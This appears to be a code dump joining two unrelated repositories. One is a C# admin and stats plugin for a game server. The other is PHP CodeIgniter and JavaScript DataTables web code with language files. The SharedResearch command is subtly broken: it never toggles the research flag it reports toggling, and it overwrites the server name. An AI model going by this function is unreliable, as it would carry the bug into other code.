global::Console.LogTargetFunction(" " + red + " " + green + " " + blue, ConsoleMessageType.Trace);
string text = parameters;
parameters = parameters.ToLowerInvariant();
string commandPar1 = parameters;
if(parameters.Contains(" "))
{
int num = parameters.IndexOf(' ');
commandPar1 = parameters.Substring(0, num);
}
else if(parameters.Length < 2)
{
//Dump out here, need more param
global::Console.LogTargetFunction("cubelookup text - where text is a name or partial name", ConsoleMessageType.Trace);
return;
}
var cubes = TerrainData.mEntriesByKey.Keys.ToList();
cubes = cubes.FindAll(
delegate (String key)
{
return key.ToLower().Contains(commandPar1.ToLower()) || TerrainData.mEntriesByKey[key].Name.ToLower().Contains(commandPar1.ToLower());
}
);
foreach(string s in cubes)
{
global::Console.LogTargetFunction(TerrainData.mEntriesByKey[s].Name + " : " + TerrainData.mEntriesByKey[s].CubeType, ConsoleMessageType.Trace);
}
}
private void ItemLookup(string parameters)
{
string text = parameters;
parameters = parameters.ToLowerInvariant();
string commandPar1 = parameters;
if(parameters.Contains(" "))
{
int num = parameters.IndexOf(' ');
commandPar1 = parameters.Substring(0, num);
}
else if(parameters.Length < 2)
{
//Dump out here, need more param
global::Console.LogTargetFunction("cubelookup text - where text is a name or partial name", ConsoleMessageType.Trace);
return;
}
var items = ItemEntry.mEntriesByKey.Keys.ToList();
items = items.FindAll(
delegate (String key)
{
return key.ToLower().Contains(commandPar1.ToLower()) || ItemEntry.mEntriesByKey[key].Name.ToLower().Contains(commandPar1.ToLower());
}
);
foreach(string s in items)
{
global::Console.LogTargetFunction(ItemEntry.mEntriesByKey[s].Name + " : " + ItemEntry.mEntriesByKey[s].ItemID, ConsoleMessageType.Trace);
}
}
private void CubeAdd(string parameters)
{
string text = parameters;
parameters = parameters.ToLowerInvariant();
string playername = parameters;
string[] commandPars = null;
if(parameters.Contains(" "))
{
int num = parameters.IndexOf(' ');
playername = parameters.Substring(0, num);
commandPars = parameters.Substring(parameters.IndexOf(' ') + 1, parameters.Length - num - 1).Split(' ');
}
else {
//Dump out here, need more params
global::Console.LogTargetFunction("cubeadd playername cubeid amount [metavalue]", ConsoleMessageType.Trace);
return;
}
if(commandPars.Length < 2)
{
//Dump out here, need more params
global::Console.LogTargetFunction("cubeadd playername cubeid amount [metavalue]", ConsoleMessageType.Trace);
return;
}
int id = Convert.ToInt32(commandPars[0]);
int ammount = Convert.ToInt32(commandPars[1]);
bool cube = false;
ItemBase itemStack = null;
ushort cubeid = Convert.ToUInt16(id);
ushort cubeValue = TerrainData.GetDefaultValue(cubeid);
if(commandPars.Length > 2) cubeValue = Convert.ToUInt16(commandPars[2]);
itemStack = new ItemCubeStack(cubeid, cubeValue, ammount);
if(itemStack != null)
{
cube = true;
}
if(cube)
{
int count = NetworkManager.instance.mServerThread.connections.Count;
for(int i = 0;i < count;i++)
{
NetworkServerConnection networkServerConnection = NetworkManager.instance.mServerThread.connections[i];
if(networkServerConnection.mState == eNetworkConnectionState.Playing)
{
if(networkServerConnection.mPlayer.mUserName.ToLower() == playername.ToLower())
{
if(networkServerConnection.mPlayer.mInventory.CanFit(itemStack))
{
networkServerConnection.mPlayer.mInventory.AddItem(itemStack);
if(itemStack.mType == ItemType.ItemCubeStack)
{
var itemCubeStack = itemStack as ItemCubeStack;
global::Console.LogTargetFunction("Gave " + itemCubeStack.mnAmount + " of " + TerrainData.GetNameForValue(itemCubeStack.mCubeType, itemCubeStack.mCubeValue) + " to " + playername, ConsoleMessageType.Trace);
}
return;
}
else {
global::Console.LogTargetFunction("Inventory full", ConsoleMessageType.Trace);
return;
}
}
}
}
global::Console.LogTargetFunction("Player Not Found", ConsoleMessageType.Trace);
return;
}
else {
global::Console.LogTargetFunction("Cube Not Found", ConsoleMessageType.Trace);
return;
}
}
private void ItemAdd(string parameters)
{
string text = parameters;
parameters = parameters.ToLowerInvariant();
string playername = parameters;
string[] commandPars = null;
if(parameters.Contains(" "))
{
int num = parameters.IndexOf(' ');
playername = parameters.Substring(0, num);
commandPars = parameters.Substring(parameters.IndexOf(' ') + 1, parameters.Length - num - 1).Split(' ');
}
else {
//Dump out here, need more params
global::Console.LogTargetFunction("itemadd playername itemid amount [metavalue]", ConsoleMessageType.Trace);
return;
}
if(commandPars.Length < 2)
{
//Dump out here, need more params
global::Console.LogTargetFunction("itemadd playername itemid amount [metavalue]", ConsoleMessageType.Trace);
return;
}
int id = Convert.ToInt32(commandPars[0]);
int ammount = Convert.ToInt32(commandPars[1]);
bool item = false;
ItemBase itemStack = null;
if(ItemEntry.mEntriesById[id] != null)
{
//its an item
itemStack = new ItemStack(id, ammount);
item = true;
}
if(item)
{
int count = NetworkManager.instance.mServerThread.connections.Count;
for(int i = 0;i < count;i++)
{
NetworkServerConnection networkServerConnection = NetworkManager.instance.mServerThread.connections[i];
if(networkServerConnection.mState == eNetworkConnectionState.Playing)
{
if(networkServerConnection.mPlayer.mUserName.ToLower() == playername.ToLower())
{
if(networkServerConnection.mPlayer.mInventory.CanFit(itemStack))
{
networkServerConnection.mPlayer.mInventory.AddItem(itemStack);
if(itemStack.mType != ItemType.ItemCubeStack)
{
global::Console.LogTargetFunction("Gave " + (itemStack as ItemStack).mnAmount + " of " + ItemEntry.mEntriesById[itemStack.mnItemID].Name + " to " + playername, ConsoleMessageType.Trace);
}
return;
}
else {
global::Console.LogTargetFunction("Inventory full", ConsoleMessageType.Trace);
return;
}
}
}
}
global::Console.LogTargetFunction("Player Not Found", ConsoleMessageType.Trace);
return;
}
else {
global::Console.LogTargetFunction("Item Not Found", ConsoleMessageType.Trace);
return;
}
}
public static void SaveWorldSettings()
{
DifficultySettings.SetSettingsFromWorldData(WorldScript.instance.mWorldData);
WorldScript.instance.SaveWorldSettings();
}
private void SharedResearch(string parameters)
{
if(!(WorldScript.mbIsServer == true))
{
//We only run commands on the server.
global::Console.LogTargetFunction("Only the Server can run this command.", ConsoleMessageType.Trace);
return;
}
bool old = PlayerResearch.mbShareResearch;
PlayerResearch.mbShareResearch = old;
Settings.Instance.settings.ServerName = parameters;
Settings.SaveSettings();
Settings.ApplyServerSettings();
global::Console.LogTargetFunction("Set Shared Research to [" + !old + "].", ConsoleMessageType.Trace);
}
private void ServerName(string parameters)
{
if(!(WorldScript.mbIsServer == true))
{
//We only run commands on the server.
global::Console.LogTargetFunction("Only the Dedicated Server can run this command.", ConsoleMessageType.Trace);
return;
}
Settings.Instance.settings.ServerName = parameters;
Settings.SaveSettings();
Settings.ApplyServerSettings();
global::Console.LogTargetFunction("Set Server Name to [" + parameters + "].", ConsoleMessageType.Trace);
}
private void MaxPlayers(string parameters)
{
if(!(WorldScript.mbIsServer == true))
{
//We only run commands on the server.
global::Console.LogTargetFunction("Only the Dedicated Server can run this command.", ConsoleMessageType.Trace);
return;
}
int num = -1;
if(int.TryParse(parameters, out num))
{
Settings.Instance.settings.MaxPlayerCount = (num);
Settings.SaveSettings();
Settings.ApplyServerSettings();
global::Console.LogTargetFunction("Set MaxPlayers to [" + parameters + "].", ConsoleMessageType.Trace);
}
else {
global::Console.LogTargetFunction("Invalid Value [" + parameters + "], Only numbers are supported", ConsoleMessageType.Trace);
}
}
private void PowerDifficulty(string parameters)
{
if(!(WorldScript.mbIsServer == true))
{
//We only run commands on the server.
global::Console.LogTargetFunction("Only the Dedicated Server can run this command.", ConsoleMessageType.Trace);
return;
}
int num = -1;
if(int.TryParse(parameters, out num))
{
if(num == 0 || num == 1)
{
WorldScript.instance.mWorldData.mnPowerLevel = num;
SaveWorldSettings();
global::Console.LogTargetFunction("Power Difficulty set to [" + parameters + "], Restart Server to take effect.", ConsoleMessageType.Trace);
}
else {
global::Console.LogTargetFunction("Invalid Value [" + parameters + "], Only 0 (Plentiful) and 1 (Scarce) are supported", ConsoleMessageType.Trace);
}
}
else {
global::Console.LogTargetFunction("Invalid Value [" + parameters + "], Only 0 (Plentiful) and 1 (Scarce) are supported", ConsoleMessageType.Trace);
}
}
private void ResourceDifficulty(string parameters)
{
if(!(WorldScript.mbIsServer == true))
{
//We only run commands on the server.
global::Console.LogTargetFunction("Only the Dedicated Server can run this command.", ConsoleMessageType.Trace);
return;
}
int num = -1;
if(int.TryParse(parameters, out num))
{
if(num == 0 || num == 1 || num == 2 || num == 3)
{
WorldScript.instance.mWorldData.mnResourceLevel = num;
SaveWorldSettings();
global::Console.LogTargetFunction("Resource Difficulty set to [" + parameters + "], Restart Server to take effect.", ConsoleMessageType.Trace);
}
else {
global::Console.LogTargetFunction("Invalid Value [" + parameters + "], Only 0 (Plentiful), 1 (Scarce), 2 (Greg), and 3 (Casual) are supported", ConsoleMessageType.Trace);
}
}
else {
global::Console.LogTargetFunction("Invalid Value [" + parameters + "], Only 0 (Plentiful), 1 (Scarce), 2 (Greg), and 3 (Casual) are supported", ConsoleMessageType.Trace);
}
}
private void DayNightCycle(string parameters)
{
if(!(WorldScript.mbIsServer == true))
{
//We only run commands on the server.
global::Console.LogTargetFunction("Only the Dedicated Server can run this command.", ConsoleMessageType.Trace);
return;
}
int num = -1;
if(int.TryParse(parameters, out num))
{
if(num == 0 || num == 1 || num == 2)
{
WorldScript.instance.mWorldData.mnDayLevel = num;
SaveWorldSettings();
global::Console.LogTargetFunction("Day Night Cycle set to [" + parameters + "], Restart Server to take effect.", ConsoleMessageType.Trace);
}
else {
global::Console.LogTargetFunction("Invalid Value [" + parameters + "], Only 0 (Eternal Day), 1 (Normal) and 2 (Eternal Night) are supported", ConsoleMessageType.Trace);
}
}
else {
global::Console.LogTargetFunction("Invalid Value [" + parameters + "], Only 0 (Eternal Day), 1 (Normal) and 2 (Eternal Night) are supported", ConsoleMessageType.Trace);
}
}
private void DeathEffect(string parameters)
{
if(!(WorldScript.mbIsServer == true))
{
//We only run commands on the server.
global::Console.LogTargetFunction("Only the Dedicated Server can run this command.", ConsoleMessageType.Trace);
return;
}
int num = -1;
if(int.TryParse(parameters, out num))
{
if(num == 0 || num == 1 || num == 2 || num == 3 || num == 4)
{
WorldScript.instance.mWorldData.meDeathEffect = (DifficultySettings.DeathEffect)num;
SaveWorldSettings();
global::Console.LogTargetFunction("Death Effect set to [" + parameters + "], Restart Server to take effect.", ConsoleMessageType.Trace);
}
else {
global::Console.LogTargetFunction("Invalid Value [" + parameters + "], Only 0 (Easy), 1 (Clumsy), 2 (IronMan), 3 (SquishCore) and 4 (HardCore) are supported", ConsoleMessageType.Trace);
}
}
else {
global::Console.LogTargetFunction("Invalid Value [" + parameters + "], Only 0 (Easy), 1 (Clumsy), 2 (IronMan), 3 (SquishCore) and 4 (HardCore) are supported", ConsoleMessageType.Trace);
}
}
private void MobDifficulty(string parameters)
{
if(!(WorldScript.mbIsServer == true))
{
//We only run commands on the server.
global::Console.LogTargetFunction("Only the Dedicated Server can run this command.", ConsoleMessageType.Trace);
return;
}
int num = -1;
if(int.TryParse(parameters, out num))
{
if(num == 0 || num == 1 || num == 2)
{
WorldScript.instance.mWorldData.mnMobLevel = num;
SaveWorldSettings();
global::Console.LogTargetFunction("Mob Difficulty set to [" + parameters + "], Restart Server to take effect.", ConsoleMessageType.Trace);
}
else {
global::Console.LogTargetFunction("Invalid Value [" + parameters + "], Only 0 (Trivial), 1 (Normal) and 2 (Hard) are supported", ConsoleMessageType.Trace);
}
}
else {
global::Console.LogTargetFunction("Invalid Value [" + parameters + "], Only 0 (Trivial), 1 (Normal) and 2 (Hard) are supported", ConsoleMessageType.Trace);
}
}
private void ConvSpeed(string parameters)
{
if(!(WorldScript.mbIsServer == true))
{
//We only run commands on the server.
global::Console.LogTargetFunction("Only the Dedicated Server can run this command.", ConsoleMessageType.Trace);
return;
}
int num = -1;
if(int.TryParse(parameters, out num))
{
if(num == 0 || num == 1)
{
WorldScript.instance.mWorldData.mnConveyorLevel = num;
SaveWorldSettings();
global::Console.LogTargetFunction("Conveyor Speed set to [" + parameters + "], Restart Server to take effect.", ConsoleMessageType.Trace);
}
else {
global::Console.LogTargetFunction("Invalid Value [" + parameters + "], Only 0 (Fast) and 1 (Slow) are supported", ConsoleMessageType.Trace);
}
}
else {
global::Console.LogTargetFunction("Invalid Value [" + parameters + "], Only 0 (Fast) and 1 (Slow) are supported", ConsoleMessageType.Trace);
}
}
private void CreateCommand(string command, string description, CmdParameterType type, string functionName)
{
global::Console.AddCommand(new ConsoleCommand(command, description, type, base.gameObject, functionName));
}
}
}
<file_sep>/README.md
#Pacas00's Server Utils
Welcome!
This repo holds the code to 'Pacas00's Server Utils' which is available under the MIT Licence.
Latest version is in the github releases.
An example of the stats page can be found at http://fc.petercashel.net
For template info, look here, https://github.com/pacas00/Pacas00-s-Server-Utils/tree/master/plugin_pacas00_server/Stats
<file_sep>/plugin_pacas00_server/StatsHTML.cs
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Reflection;
using System.Text;
using System.Threading.Tasks;
namespace plugin_pacas00_server
{
class StatsHTML
{
public const string TemplateURL = "https://cdn.rawgit.com/pacas00/Pacas00-s-Dedicated-Server-Utils/master/plugin_pacas00_server/Stats/Template.html";
//Modified version of SetLabel from the Holobsae code, to allow for holobase like floats with units
private static string prettyfloat(float count, string toStringParams = "F0")
{
string s = "";
if(count < 1000f)
{
s = count.ToString(toStringParams);
return s;
}
else
{
count /= 1000f;
if(count < 1000f)
{
s = count.ToString(toStringParams) + "k";
return s;
}
else
{
count /= 1000f;
s = count.ToString(toStringParams) + "m";
return s;
}
}
}
public static void GenerateHTML(string templateName, string fileName)
{
string template = "";
try
{
template = File.ReadAllText(plugin_pacas00_server.workingDir + Path.DirectorySeparatorChar + templateName);
}
catch(IOException ioex)
{
UtilClass.WriteLine(templateName + " not found, downloading default...");
using(var client = new WebClient())
{
client.DownloadFile(TemplateURL, plugin_pacas00_server.workingDir + Path.DirectorySeparatorChar + templateName);
}
template = File.ReadAllText(plugin_pacas00_server.workingDir + Path.DirectorySeparatorChar + templateName);
}
catch(Exception ex)
{
//Log others
UtilClass.WriteLine(ex);
}
string AttackState = "";
if(MobSpawnManager.mbAttackUnderway)
{
AttackState = "Under Attack!";
}
int seconds = (int)GameManager.mrTotalServerTime;
int totalSeconds = (int)WorldScript.instance.mWorldData.mrWorldTimePlayed;
string serverUptime = string.Format("{0}d, {1}h, {2}m, {3}s", seconds / (3600 * 24), (seconds / 3600) % 24, (seconds / 60) % 60, seconds % 60);
string worldPlayTime = string.Format("{0}d, {1}h, {2}m, {3}s", totalSeconds / (3600 * 24), (totalSeconds / 3600) % 24, (totalSeconds / 60) % 60, totalSeconds % 60);
string newPage = template.Replace("$ServerName", NetworkManager.instance.mServerThread.mServerName)
.Replace("$WorldName", WorldScript.instance.mWorldData.mName)
.Replace("$PlayerCount", GameManager.mnCurrentTotalPlayers.ToString())
.Replace("$Uptime", serverUptime)
.Replace("$PlayTime", worldPlayTime)
.Replace("$PowerPerSec", (GameManager.mrTotalPowerGenerated / GameManager.mrTotalTimeSimulated).ToString("F2"))
.Replace("$TotalPowerPyro", prettyfloat(GameManager.mrTotalPyroPower, "F2"))
.Replace("$TotalPowerSolar", prettyfloat(GameManager.mrTotalSolarPower, "F2"))
.Replace("$TotalPowerJet", prettyfloat(GameManager.mrTotalJetPower, "F2"))
.Replace("$TotalPower", prettyfloat(GameManager.mrTotalPowerGenerated))
.Replace("$CoalBurned", prettyfloat(GameManager.mnCoalBurned))
.Replace("$OresMin", GameManager.mnOresLastMin + " ores/min")
.Replace("$BarsMin", GameManager.mnBarsLastMin + " bars/min")
.Replace("$TotalOre", GameManager.mnTotalOre.ToString())
.Replace("$TotalBars", GameManager.mnTotalBars.ToString())
.Replace("$AttackState", AttackState)
.Replace("$Threat", ((int)(MobSpawnManager.mrSmoothedBaseThreat * 100)).ToString())
.Replace("$Waves", ((int)MobSpawnManager.TotalWavesSeen).ToString())
.Replace("$Losses", ((int)MobSpawnManager.TotalWavesLosses).ToString())
.Replace("$Kills", ((int)MobSpawnManager.TotalKills).ToString());
string path = Settings.Instance.settings.StatsSavePath.Replace("$ModFolder$", plugin_pacas00_server.workingDir + Path.DirectorySeparatorChar);
if(path.LastIndexOf("\\") != (path.Length - 1))
{
path = path + Path.DirectorySeparatorChar;
}
using(TextWriter writer = File.CreateText(path + fileName))
try
{
{
writer.Write(newPage);
}
writer.Flush();
writer.Close();
}
catch(Exception ex)
{
UtilClass.WriteLine(ex.Message);
writer.Flush();
writer.Close();
}
}
}
}
<file_sep>/plugin_pacas00_server/UtilClass.cs
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using UnityEngine;
namespace plugin_pacas00_server
{
public class UtilClass
{
public const string modName = "Pacas00's Server Utils";
public const string modId = "pacas00.server";
public static void WriteLine(string s)
{
ServerConsole.DoServerString(UtilClass.modName + ": " + s);
}
public static void WriteLine(int x)
{
ServerConsole.DoServerString(UtilClass.modName + ": " + x);
}
public static void WriteLine(float f)
{
ServerConsole.DoServerString(UtilClass.modName + ": " + f);
}
public static void WriteLine(bool b)
{
ServerConsole.DoServerString(UtilClass.modName + ": " + b);
}
internal static void WriteLine(Exception ex)
{
ServerConsole.DoServerString(UtilClass.modName + ": " + ex.Message);
ServerConsole.DoServerString(ex.StackTrace);
}
}
}
<file_sep>/plugin_pacas00_server/Settings.cs
using plugin_pacas00_server.commands;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace plugin_pacas00_server
{
class Settings
{
private static Settings instance = null;
public static Settings Instance
{
get
{
if(instance == null)
{
instance = new Settings();
instance.Load();
}
if(!instance.loaded) instance.Load();
return instance;
}
}
public static void SaveSettings() { Instance.Save(); }
public static void ApplyServerSettings()
{
if(NetworkManager.instance == null || NetworkManager.instance.mServerThread == null) return;
NetworkManager.instance.mServerThread.mServerName = instance.settings.ServerName;
NetworkManager.instance.mServerThread.mnMaxPlayerCount = instance.settings.MaxPlayerCount;
}
//Static Above
//Instance Below
public bool loaded = false;
public SettingsObject settings = new SettingsObject();
public static string settingsFileName = "Settings.ini";
public void Load()
{
if(File.Exists(plugin_pacas00_server.workingDir + Path.DirectorySeparatorChar + settingsFileName))
try
{
using(TextReader reader = File.OpenText(plugin_pacas00_server.workingDir + Path.DirectorySeparatorChar + settingsFileName))
{
bool hasLine = true;
try
{
while(hasLine)
{
string line = reader.ReadLine();
if(line == null)
{
hasLine = false;
break;
}
parseSettingsLine(line);
}
loaded = true;
}
catch(Exception ex)
{
UtilClass.WriteLine("Settings: " + ex.Message);
hasLine = false;
reader.Close();
}
reader.Close();
}
}
catch(Exception ex)
{
UtilClass.WriteLine(String.Format("Load(): {0}", ex.ToString()));
}
UtilClass.WriteLine("Settings Loaded!");
}
public void parseSettingsLine(string line)
{
if(line.Trim().StartsWith("#")) return;
if(line.Trim().Length < 3) return;
string[] parts = line.Split('=');
switch(parts[0])
{
case ("MaxPlayerCount"):
settings.MaxPlayerCount = Convert.ToInt32(parts[1]);
break;
case ("ServerName"):
settings.ServerName = (parts[1]);
break;
case ("statsEnabled"):
settings.statsEnabled = Convert.ToInt32(parts[1]);
break;
case ("statsMode"):
settings.statsMode = Convert.ToInt32(parts[1]);
break;
case ("StatsSavePath"):
settings.StatsSavePath = (parts[1]);
break;
case ("StatsSaveFileName"):
settings.StatsSaveFileName = (parts[1]);
break;
case ("HTTPServerEnabled"):
settings.HTTPServerEnabled = Convert.ToInt32(parts[1]);
break;
case ("HTTPServerPort"):
settings.HTTPServerPort = Convert.ToInt32(parts[1]);
break;
default: break;
}
}
internal static void Initialise()
{
if(instance == null)
{
instance = new Settings();
instance.Load();
}
}
public void Save()
{
if(loaded == false)
{
instance.settings.ServerName = NetworkManager.instance.mServerThread.mServerName;
instance.settings.MaxPlayerCount = NetworkManager.instance.mServerThread.mnMaxPlayerCount;
loaded = true;
}
File.Delete(plugin_pacas00_server.workingDir + Path.DirectorySeparatorChar + settingsFileName);
using(TextWriter writer = File.CreateText(plugin_pacas00_server.workingDir + Path.DirectorySeparatorChar + settingsFileName))
try
{
{
writer.WriteLine("");
writer.WriteLine("# -------------------");
writer.WriteLine("# - Server Settings -");
writer.WriteLine("# -------------------");
writer.WriteLine("");
writer.WriteLine("#ServerName - Server Name to show in Server Browser");
writer.WriteLine("ServerName" + "=" + settings.ServerName);
writer.WriteLine("");
writer.WriteLine("#MaxPlayerCount - Defaults to 64 ");
writer.WriteLine("MaxPlayerCount" + "=" + settings.MaxPlayerCount);
writer.WriteLine("");
writer.WriteLine("#Stats - 0 is off, 1 is on. Generate a stats html page. ");
writer.WriteLine("# For use with an external webserver or the Built-in HTTP miniserver.");
writer.WriteLine("statsEnabled" + "=" + settings.statsEnabled);
writer.WriteLine("");
writer.WriteLine("#statsMode 0 stats, 1 banner, 2 both");
writer.WriteLine("# Generate Stats page, Banner Page or both");
writer.WriteLine("statsMode" + "=" + settings.statsMode);
writer.WriteLine("");
writer.WriteLine("#StatsSavePath - Path to save the stats page in. Also used by the Built-in HTTP miniserver.");
writer.WriteLine("StatsSavePath" + "=" + settings.StatsSavePath);
writer.WriteLine("");
writer.WriteLine("#StatsSaveFileName - file name to save the stats as ");
writer.WriteLine("StatsSaveFileName" + "=" + settings.StatsSaveFileName);
writer.WriteLine("");
writer.WriteLine("#BannerSaveFileName - file name to save the banner as. Uses StatSavePath. ");
writer.WriteLine("BannerSaveFileName" + "=" + settings.BannerSaveFileName);
writer.WriteLine("");
writer.WriteLine("");
writer.WriteLine("");
writer.WriteLine("#HTTPServerEnabled - 0 is off, 1 is on.");
writer.WriteLine("# Enable or Disable the Built-in HTTP miniserver to host the stats page.");
writer.WriteLine("# Hosts files from the StatsSavePath.");
writer.WriteLine("HTTPServerEnabled" + "=" + settings.HTTPServerEnabled);
writer.WriteLine("");
writer.WriteLine("#HTTPServerPort - Port to host miniserver on. Defaults to 8081 ");
writer.WriteLine("HTTPServerPort" + "=" + settings.HTTPServerPort);
writer.WriteLine("");
}
writer.Flush();
writer.Close();
}
catch(Exception ex)
{
UtilClass.WriteLine(String.Format("Save(): {0}", ex.ToString()));
writer.Flush();
writer.Close();
}
UtilClass.WriteLine("Settings Saved!");
}
}
public class SettingsObject
{
public string ServerName { get; set; }
public int MaxPlayerCount { get; set; }
public int statsEnabled = 0;
public int statsMode = 0; // 0 stats, 1 banner, 2 both
public string StatsSaveFileName = "stats.html";
public string BannerSaveFileName = "banner.html";
public string StatsSavePath = "$ModFolder$" + Path.DirectorySeparatorChar + "webroot";
public int HTTPServerEnabled = 0;
public int HTTPServerPort = 8081;
}
}
<file_sep>/HTTPTestApp/Program.cs
using plugin_pacas00_server;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace HTTPTestApp
{
class Program
{
static void Main(string[] args)
{
string testDir = @"C:\kexploit\static";
HTTPServ HTTPServer = new HTTPServ(testDir, 8081);
HTTPServer.Start();
}
}
}
| 0a1ca7542e40663d74db214bf9357edde278071c | [
"Markdown",
"C#"
] | 9 | C# | pacas00/Pacas00-s-Server-Utils | e30b091556edf342a42dc33bc8081bc696b7cc34 | bc991a5cb7d0887dda8e297a2cfcc90b2d4cef6d |
refs/heads/master | <file_sep><?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
/**
* Home Class
*
* @author marc
*
*/
class Home extends MY_Controller
{
/**
* Constructor method
*/
public function __construct()
{
parent::__construct();
}
// -----------------------------------------------------------------------
/**
* Index method
*
* @access public
*/
public function index()
{
$this->_load_view( 'index_view' );
}
}<file_sep>if (typeof jQuery != 'undefined') {
/**
* GLOBAL FUNCTIONS
*/
jQuery.fn.centerWidth = function () {
this.css({top: -this.outerHeight() + "px",
left:Math.max(0, (($(window).width() - this.outerWidth()) / 2) +
$(window).scrollLeft()) + "px"});
return this;
}
/*
* DATATABLE EXTENSION FUNCTIONS
*/
if(typeof dataTableLanguage == 'undefined')
dataTableLanguage = {};
jQuery.fn.dataTableInit = function (params) {
this.dataTable(jQuery.extend({}, {
"sDom": '<"dataTables_top"lf>t<"dataTables_bottom"ip>',
"bStateSave": false,
"sPaginationType": "full_numbers",
"aaSorting": [[ 1, "asc" ]],
"oLanguage": dataTableLanguage,
"aoColumnDefs": [ { "bVisible": false, "aTargets": [ 0 ] } ]
}, params));
return this;
}
jQuery.fn.dataTableClick = function() {
var table = this;
var selected = [];
this.on('click', 'tbody tr', function(event){
var $target = $(event.target);
if($target.is('td')) {
var aData = table.fnGetData(this);
if(aData) {
var iId = aData[0];
if ( jQuery.inArray(iId, selected) == -1 )
selected[selected.length++] = iId;
else
selected = jQuery.grep(selected, function(value) {
return value != iId;
});
$(this).toggleClass('row_selected');
}
}
});
this.getSelected = function() {return selected;};
return this;
}
/* MESSAGE */
jQuery.extend({
message: function(type, message) {
if($('#message').length == 0)
$('<div id="message"> ' + message + '</div>')
.appendTo('body');
$('#message')
.addClass('alert alert-' + type + ' ' + type + '-icon')
.css({'cursor':'pointer','position':'absolute','padding-left':'30px'})
.centerWidth()
.animate({top:"-2px"},250)
.click(function(){
$(this).fadeOut(250,function(){
$(this).remove();
})
})
.show();
}
});
}<file_sep>(function ($) {
$.appAjax = function (url, params) {
$.ajax($.extend({}, {
dataType:'json',
type:'GET',
url:url,
success: function(json) {
// session expired
if(json.error == 10) {
location.reload();
}
if (typeof params.success == 'function') {
params.success(json);
}
},
complete: function() {
},
error: function (xhr, textStatus, errorThrown) {
errorMsg = url+': Not json response.';
if(xhr.status==404) {
errorMsg = url+': '+xhr.status+' '+xhr.statusText;
}
$.appAlert("error", errorMsg);
}
}, params));
return this;
};
}(jQuery));<file_sep><?php
// Errors
$lang['auth_incorrect_login'] = 'Login incorrect.';
$lang['auth_incorrect_password'] = '<PASSWORD>.';
// Form
$lang['auth_form_login'] = 'User';
$lang['auth_form_password'] = '<PASSWORD>';
$lang['auth_form_remember'] = 'Remember Me';
$lang['auth_form_submit'] = 'Submit';<file_sep><script type="text/javascript">
<!--
$(document).ready(function() {
var table_users = $('#table_users').dataTableInit({
"sAjaxSource": "<?php echo site_url( 'users/get_table' ); ?>",
"aoColumns": [
{"bVisible":false,"bSearchable": false},
{"bVisible":true,"bSearchable":true,"bSortable":true,"sWidth":"50%"},
{"bVisible":true,"bSearchable":true,"sClass":"text-right","bSortable":true,"sWidth":"50%"}
]
});
table_users.on('click', 'tbody tr', function(event){
var aData = table_users.fnGetData( this );
var iId = aData[0];
if($(event.target).is('td')) {
window.location.href = "<?php echo site_url( 'users/edit' ); ?>/"+iId;
}
});
$( ".bootstrap-table .search input" ).wrap('<div class="input-group" style="width:250px;">');
$( ".bootstrap-table .search input" ).after('<span class="input-group-btn"><button class="btn btn-default" type="button"><span class="glyphicon glyphicon-remove"></span></button></span>');
});
//-->
</script>
<div class="row" style="margin-bottom: 10px;">
<div class="col-xs-2">
<!-- <a href="<?php echo site_url( 'users/add' ); ?>" class="btn btn-primary"> -->
<a href="javascript:$.appAjax('<?php echo site_url( 'users/tes1t_ajax' ); ?>');" class="btn btn-primary">
<span class="glyphicon glyphicon-ok"></span> <?php echo lang( 'add' ); ?>
</a>
</div>
</div>
<div class="well">
<div class="row">
<div class="col-xs-12">
<table data-toggle="table" data-pagination="true"
data-search="true"
data-side-pagination="server" data-url="<?php echo site_url( 'users/get_table1' ); ?>">
<thead>
<tr>
<th data-field="id" data-sortable="true">Item ID</th>
<th data-field="texto">Item Name</th>
<th data-field="numero">Item Price</th>
</tr>
</thead>
<tfoot>
<tr>
<th colspan="3">hola</th>
</tr>
</tfoot>
</table>
</div>
</div>
</div>
<div class="well">
<div class="row">
<div class="col-xs-12">
<table class="table table-hover table-bordered table-condensed" id="table_users" style="border-bottom:1px solid #f00;">
<thead>
<tr>
<th>ID</th>
<th><?php echo lang( 'table_header_username' ); ?></th>
<th style="text-align:left;"><?php echo lang( 'table_header_password' ); ?></th>
</tr>
</thead>
<tbody></tbody>
<tfoot>
<tr>
<th colspan="3"></th>
</tr>
</tfoot>
</table>
</div>
</div>
</div><file_sep><?php
$lang['db_invalid_connection_str'] = 'No s\'ha pogut determinar la configuració de la base de dades amb la cadena proporcionada.';
$lang['db_unable_to_connect'] = 'No s\'ha pogut connectar al servidor de la base de dades utilitzant la configuració proporcionada.';
$lang['db_unable_to_select'] = 'No s\'ha pogut seleccionar la base de dades especificada: %s';
$lang['db_unable_to_create'] = 'No s\'ha pogut crear la base de dades especificada: %s';
$lang['db_invalid_query'] = 'La consulta enviada no ès vàlida.';
$lang['db_must_set_table'] = 'Cal especificar la taula que serà utilitzada per la seva consulta.';
$lang['db_must_use_set'] = 'Cal usar el mètode "SET" per actualitzar una entrada.';
$lang['db_must_use_index'] = '';
$lang['db_batch_missing_index'] = '';
$lang['db_must_use_where'] = 'Les actualitzacions no estan permeses sinó contenen una clàusula "WHERE".';
$lang['db_del_must_use_where'] = 'Les eliminacions no estan permeses sinó contenen una clàusula "WHERE" o "LIKE".';
$lang['db_field_param_missing'] = 'Per retornar camps es requereix el nom de la taula com a paràmetre.';
$lang['db_unsupported_function'] = 'Aquesta característica no està disponible per la base de dades que està utilitzant.';
$lang['db_transaction_failure'] = 'Error en la transacció: Rollback executant-se';
$lang['db_unable_to_drop'] = 'No s\'ha pogut eliminar la base de dades especificada.';
$lang['db_unsuported_feature'] = 'Característica no soportada per la plataforma de base de dades que està utilitzant.';
$lang['db_unsuported_compression'] = 'El format de compressió de fitxers que ha seleccionat no està suportat pel seu servidor.';
$lang['db_filepath_error'] = 'No es poden escriure les dades a la ruta del fitxer que ha proporcionat.';
$lang['db_invalid_cache_path'] = 'La ruta de la "cache" que ha proporcionat no es vàlida o no es pot escriure a la mateixa.';
$lang['db_table_name_required'] = 'És necessari el nom d\'una taula per aquesta operació.';
$lang['db_column_name_required'] = 'És necessari el nom d\'una columna per aquesta operació.';
